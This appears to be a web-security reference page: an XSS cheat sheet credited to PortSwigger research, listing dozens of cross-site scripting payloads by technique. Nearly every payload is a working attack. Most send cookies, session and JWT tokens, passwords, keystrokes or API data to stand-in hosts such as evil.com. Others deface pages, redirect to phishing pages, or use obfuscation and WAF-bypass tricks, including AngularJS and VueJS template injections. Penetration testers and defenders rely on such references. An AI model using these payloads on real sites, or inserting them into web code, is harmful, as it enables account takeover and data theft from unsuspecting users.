XSS Cheat Sheet

A comprehensive reference guide for Cross-Site Scripting (XSS) vectors. This cheat sheet contains event handlers, protocols, encoding techniques, and browser-specific payloads.⚠️ For educational and authorized testing purposes only!

Based on PortSwigger Research

This cheat sheet is regularly updated and maintained by the web security community. Credits to @garethheyes and the PortSwigger Research team.

⚡Event Handlers (No User Interaction)10 vectors

These vectors execute automatically without requiring user interaction

onload (body)

Fires when the element is loaded - replaces page content

<body onload=document.body.innerHTML="<h1>XSS</h1>">

onerror (img)

Fires when the resource fails to load - steals cookies

<img src=x onerror=fetch("//evil.com?c="+document.cookie)>

onanimationstart

Fires when a CSS animation starts - redirects user

<style>@keyframes x{}</style><xss style="animation-name:x" onanimationstart="location='//attacker.com'"></xss>

onanimationend

Fires when a CSS animation ends - executes base64 payload

<style>@keyframes x{}</style><xss style="animation-name:x" onanimationend="eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))"></xss>

ontransitionend

Fires when a CSS transition ends - exfiltrates page data

<xss id=x style="transition:outline 1s" ontransitionend=navigator.sendBeacon("//log.evil.com",document.body.innerHTML) tabindex=1></xss>

onloadstart (video)

Triggered when video is loaded - steals localStorage tokens

<video onloadstart="new Image().src='//evil.com/log?'+btoa(localStorage.getItem('token'))"><source></video>

oncanplay (audio)

Fires if the resource can be played - DOM-based XSS

<audio oncanplay=window.location.replace("javascript:void(document.write('<script>alert(document.domain)</script>'))")><source src="validaudio.wav" type="audio/wav"></audio>

onfocus (autofocus)

Fires when element has focus - displays cookies in input

<input onfocus=this.value=document.cookie autofocus>

onpageshow

Fires when the page is shown - exfiltrates API data

<body onpageshow=fetch("/api/user").then(r=>r.json()).then(d=>fetch("//evil.com",{method:"POST",body:JSON.stringify(d)}))>

onscroll

Fires when the page scrolls - logs password field values

<body onscroll=console.log(document.querySelectorAll("input[type=password]")[0].value)><div style=height:1000px></div>

👆Event Handlers (Requires User Interaction)8 vectors

These vectors require user interaction like clicking, hovering, or typing

onclick

Requires a click - hijacks form submission

<button onclick="document.forms[0].action='//evil.com/steal'">Click Me</button>

onmouseover

Requires hovering - loads phishing page

<div onmouseover="this.innerHTML='<iframe src=//phishing.com></iframe>'" style=width:100%;height:500px>Hover here</div>

ondblclick

Triggered when double clicking - exfiltrates cookies

<img src=logo.png ondblclick="location.href='javascript:void(new Image().src="//log.evil.com?"+document.cookie)'" style=cursor:pointer>

oncontextmenu

Triggered on right click - fake password prompt

<div oncontextmenu="event.preventDefault();prompt('Enter password:').length&&fetch('//evil.com',{method:'POST',body:password})" style=display:block>Right click me</div>

oninput

Requires typing - keylogger that sends each keystroke

<input oninput="fetch('//keylogger.evil.com?key='+this.value)" placeholder="Search...">

onkeydown

Triggered on key press - steals message on Enter key

<textarea onkeydown="if(event.key==='Enter')fetch('//evil.com/msg',{method:'POST',body:this.value})" style=width:100%>Type message...</textarea>

ondrag

Triggered when dragging - copies cookies to clipboard

<div draggable="true" ondragstart="event.dataTransfer.setData('text',document.cookie)" style=padding:20px;background:red>Drag me to steal cookies</div>

onsubmit

Requires form submission - steals credentials

<form onsubmit="fetch('//evil.com',{method:'POST',body:new FormData(this)});return false"><input name=username><input type=password name=pwd><input type=submit></form>

🔗JavaScript Protocols8 vectors

Using javascript: and data: protocols for XSS

javascript: protocol

Standard JavaScript protocol - steals referrer

<a href="javascript:void(location='//evil.com?ref='+document.referrer)">Click for prize</a>

Case insensitive

Protocol is not case sensitive - defaces page

<a href="JaVaScRiPt:void(document.body.innerHTML='<h1>Hacked</h1>')" style=font-size:20px>Important Link</a>

With whitespace

Whitespace before protocol - steals session token

<a href=" javascript:fetch('//evil.com/steal',{method:'POST',body:localStorage.getItem('sessionToken')})">Login</a>

Data URI

Data protocol - exfiltrates form data

<script src="data:text/javascript,fetch('//evil.com',{method:'POST',body:JSON.stringify({user:document.querySelector('#username').value})})"></script>

Data URI base64

Base64 encoded - sends cookies to attacker (decoded: fetch cookie)

<script src=data:text/javascript;base64,ZmV0Y2goJy8vZXZpbC5jb20nLHttZXRob2Q6J1BPU1QnLGJvZHk6ZG9jdW1lbnQuY29va2llfSk=></script>

Iframe src

JavaScript protocol in iframe - posts cookies to parent

<iframe src="javascript:parent.postMessage({type:'steal',data:document.cookie},'*')">

Object data

JavaScript protocol in object - stores HTML in window.name

<object data="javascript:void(window.name=document.documentElement.innerHTML)">

Form action

JavaScript in form action - steals password on submit

<form action="javascript:new Image().src='//evil.com/log?pwd='+document.querySelector('input[type=password]').value"><input type=password><input type=submit value=Login>

🔐Encoding & Obfuscation8 vectors

Various encoding techniques to bypass filters

HTML entities (decimal)

Decimal encoding - phishing redirect

<a href="&#106;avascript:void(document.location='//evil.com/phish')">Verify Account</a>

HTML entities (hex)

Hex encoding - steals session storage

<a href="&#x6a;avascript:void(new Image().src='//evil.com?session='+sessionStorage.token)">Click Here</a>

Unicode escapes

Unicode escape sequences - exfiltrates form HTML

<script>\u0066\u0065\u0074\u0063\u0068('//evil.com',{method:'POST',body:document.forms[0].innerHTML})</script>

Unicode ES6 style

ES6 unicode escapes - redirects to attacker site

<script>\u{77}\u{69}\u{6e}\u{64}\u{6f}\u{77}['\u{6c}\u{6f}\u{63}\u{61}\u{74}\u{69}\u{6f}\u{6e}']='//evil.com'</script>

Hex encoding

Hex encoding - sends base64 encoded cookies

<script>eval('\x66\x65\x74\x63\x68("//evil.com/log",{method:"POST",body:btoa(document.cookie)})')< /script>

Octal encoding

Octal encoding - steals admin API data

<script>eval('\146\145\164\143\150("/api/admin").then(r=>r.json()).then(d=>\146\145\164\143\150("//evil.com",{method:"POST",body:JSON.stringify(d)}))')< /script>

URL encoding

URL encoding - steals JWT token

<a href="javascript:x='%27-window.location='//evil.com?token='+localStorage.jwt-%27';" >Reset Password</a>

Base64 in data URI

Base64 encoded payload - exfiltrates page HTML

<a href="data:text/html;base64,PHNjcmlwdD5mZXRjaCgnLy9ldmlsLmNvbS9zdGVhbCcse21ldGhvZDonUE9TVCcsYm9keTpkb2N1bWVudC5ib2R5LmlubmVySFRNTH0pPC9zY3JpcHQ+">View Details</a>

🎨SVG Vectors6 vectors

XSS vectors using SVG elements

SVG onload

Basic SVG with onload - steals CSRF token

<svg onload=fetch('//evil.com',{method:'POST',body:document.querySelector('meta[name=csrf-token]').content})>

SVG animate onbegin

Fires when SVG animation begins - exfiltrates username

<svg><animate onbegin=location.href='//evil.com?user='+encodeURIComponent(document.querySelector('#username').textContent) attributeName=x dur=1s>

SVG animate onend

Fires when SVG animation ends - auto-submits form

<svg><animate onend=document.forms[0].submit() attributeName=x dur=1s>

SVG script

Script tag inside SVG - sends captured keystrokes

<svg><script>fetch('//evil.com/keylog',{method:'POST',body:JSON.stringify({keys:window.capturedKeys||[]})})</script></svg>

SVG with xlink

Xlink namespace - deletes session cookie

<svg><a xlink:href="javascript:void(document.cookie='session=;expires=Thu, 01 Jan 1970 00:00:00 UTC')"><text x="20" y="20">Logout</text></a>

SVG foreignObject

ForeignObject containing HTML - loads phishing iframe

<svg><foreignObject><body><iframe src=//evil.com/phishing.html width=100% height=600></iframe></body></foreignObject>

🚫Restricted Characters Bypass6 vectors

XSS without parentheses, quotes, or other restricted characters

No parentheses (exception)

Using exception handling without parentheses - cookie theft

<script>onerror=eval;throw'=fetch("//evil.com",{method:"POST",body:document.cookie});'</script>

No parentheses (template)

Using template strings - exfiltrates localStorage

<script>fetch`//evil.com/log?data=${btoa(localStorage.getItem`token`)}`</script>

No parentheses (location)

Using location redirect - page defacement

<script>location='javascript:void(document.body.innerHTML="<h1>Defaced</h1>")' </script>

No greater than

XSS without closing bracket - sends navigation data

<svg onload=navigator.sendBeacon('//evil.com',JSON.stringify({url:location.href,referrer:document.referrer}))

No quotes (window.name)

Using window.name without quotes - exfiltrates full HTML

<script>location=name</script><!-- Set window.name to: javascript:fetch('//evil.com',{method:'POST',body:document.documentElement.outerHTML}) -->

Throw with eval

Exception handling with eval on Chrome/Edge - password theft

<script>throw onerror=eval,'=new Image().src="//evil.com/steal?pwd="+document.querySelector("input[type=password]").value'</script>

🌐Polyglot Payloads3 vectors

Payloads that work in multiple contexts

Polyglot 1

Works in multiple HTML contexts - cookie exfiltration

javascript:/*--></title></style></textarea></script></xmp><svg/onload='document.location="//evil.com?stolen="+btoa(document.cookie)'>

Polyglot 2

Advanced polyglot - exfiltrates localStorage

javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><img src=x onerror=fetch('//evil.com',{method:'POST',body:localStorage})>

Polyglot 3

Using iframe - sends form HTML to parent window

javascript:/*--></title></style></textarea></script></xmp><iframe/onload='parent.postMessage({type:"xss",data:document.forms[0].innerHTML},"*")'>

🛡️WAF Bypass Techniques4 vectors

Techniques to bypass Web Application Firewalls

String concatenation

Breaking up keywords - steals cookies

;self['fe'+'tch']('//evil.com',{method:'POST',body:self['doc'+'ument']['coo'+'kie']});//

Comment syntax

Using comments to obfuscate - exfiltrates localStorage

;top[/*x*/'fetch'/*y*/]('//evil.com/log',{method:'POST',body:top[/*a*/'localStorage'/*b*/]});//

Hex escape sequence

Hex encoding bypass - sends page HTML

;globalThis['\x66\x65\x74\x63\x68']('//evil.com',{method:'POST',body:globalThis['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x62\x6f\x64\x79']['\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c']});//

RegExp source

Using RegExp source - steals auth token

;frames[/fe/.source+/tch/.source]('//evil.com?token='+frames[/local/.source+/Storage/.source].getItem(/auth/.source+/Token/.source));//

⚙️Framework-Specific4 vectors

XSS vectors for specific frameworks

AngularJS 1.0-1.1

AngularJS sandbox escape - cookie theft

{{constructor.constructor('return fetch("//evil.com",{method:"POST",body:document.cookie})')()}}

AngularJS 1.6+

Shorter AngularJS bypass - exfiltrates user email

{{$on.constructor('location.href="//evil.com?user="+$root.currentUser.email')()}}

VueJS v2

VueJS template injection - steals component data

{{_c.constructor('fetch("//evil.com",{method:"POST",body:JSON.stringify($data)})')()}}

VueJS v3

VueJS 3 template injection - exfiltrates route data

{{_openBlock.constructor('navigator.sendBeacon("//evil.com",JSON.stringify({route:$route.path,params:$route.params}))')()}}

Credits & Resources

This XSS cheat sheet is based on research from PortSwigger Web Security Academy and contributions from the web security community. Special thanks to:

  • @garethheyes (PortSwigger) - Creator and maintainer
  • Mario Heiderich (Cure53)
  • Masato Kinugawa, Eduardo Vela, James Kettle
  • And many other security researchers who contribute to this knowledge base

Last updated: June 2025 |View Original Cheat Sheet →